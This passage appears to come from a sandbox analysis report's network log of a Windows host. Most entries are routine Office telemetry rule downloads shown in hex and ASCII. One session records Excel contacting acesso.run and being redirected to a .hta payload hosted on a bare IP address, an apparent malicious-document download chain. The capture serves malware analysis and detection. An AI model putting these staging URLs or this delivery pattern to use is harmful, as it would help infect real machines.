2024-10-29 19:37:55 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:55 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:55 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e5fe76b8-601e-0050-2e06-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193755Z-17c5cb586f6r59nt869u8w8xt800000005wg00000000g0yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:56 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:55 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:55 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 91249574-801e-0078-3dc7-27bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193755Z-17c5cb586f6w4mfs5xcmnrny6n00000008w0000000002dvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:56 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:55 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:55 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: bebabdad-901e-0029-5d45-28274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193755Z-r197bdfb6b4d9xksru4x6qbqr0000000070g00000000ftt8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:56 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:55 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:56 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:55 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193755Z-16849878b78fssff8btnns3b14000000079000000000bywk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:37:56 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:56 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:56 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 359c92e3-901e-0064-7ce8-28e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193756Z-17c5cb586f69w69mgazyf263an000000066g000000009d4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:56 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:56 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:56 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193756Z-17c5cb586f62blg5ss55p9d6fn00000007qg00000000dywk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:56 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:56 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:56 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d7faccb9-c01e-002b-307f-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193756Z-16849878b78bcpfn2qf7sm6hsn00000008p0000000005kzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:56 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:56 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:56 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: f6d6c722-a01e-00ab-371c-289106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193756Z-15b8d89586fcvr6p5956n5d0rc0000000d2000000000a7w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:56 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:56 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:56 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193756Z-16849878b78qf2gleqhwczd21s000000075000000000kw3r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49769	172.67.162.95	443	5012	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:57 UTC	233	OUT	GET /wMyYAg?&morsel=bewildered&bifocals=oafish&egg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: acesso.run Connection: Keep-Alive
2024-10-29 19:37:57 UTC	1082	IN	HTTP/1.1 302 Found Date: Tue, 29 Oct 2024 19:37:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 111 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Location: http://107.175.130.36/80/de/seethegoodgirlwhoismylovershealwayslovedmealotwithhereyes.hta Vary: Accept cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2ByYGvuMkp3mARDz87GAWp4BAfNuUouhKiS%2BAxiVaxp1wolFo19wRn0gCuzCOJuKSlzuEB3u6bl1skRUX1LhhjG0yIyIJZ%2B4g5XDEnzLzR9OliSpiZiLowl0N29v%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59f85ca9fe843-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2058&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=815&delivery_rate=1355170&cwnd=251&unsent_bytes=0&cid=005927960a6b4a5e&ts=273&x=0"
2024-10-29 19:37:57 UTC	111	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 30 37 2e 31 37 35 2e 31 33 30 2e 33 36 2f 38 30 2f 64 65 2f 73 65 65 74 68 65 67 6f 6f 64 67 69 72 6c 77 68 6f 69 73 6d 79 6c 6f 76 65 72 73 68 65 61 6c 77 61 79 73 6c 6f 76 65 64 6d 65 61 6c 6f 74 77 69 74 68 68 65 72 65 79 65 73 2e 68 74 61 Data Ascii: Found. Redirecting to http://107.175.130.36/80/de/seethegoodgirlwhoismylovershealwayslovedmealotwithhereyes.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:57 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:57 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: bed14624-901e-0029-5c4f-28274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193757Z-15b8d89586ffsjj9qb0gmb1stn0000000b9000000000281u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:57 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:57 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
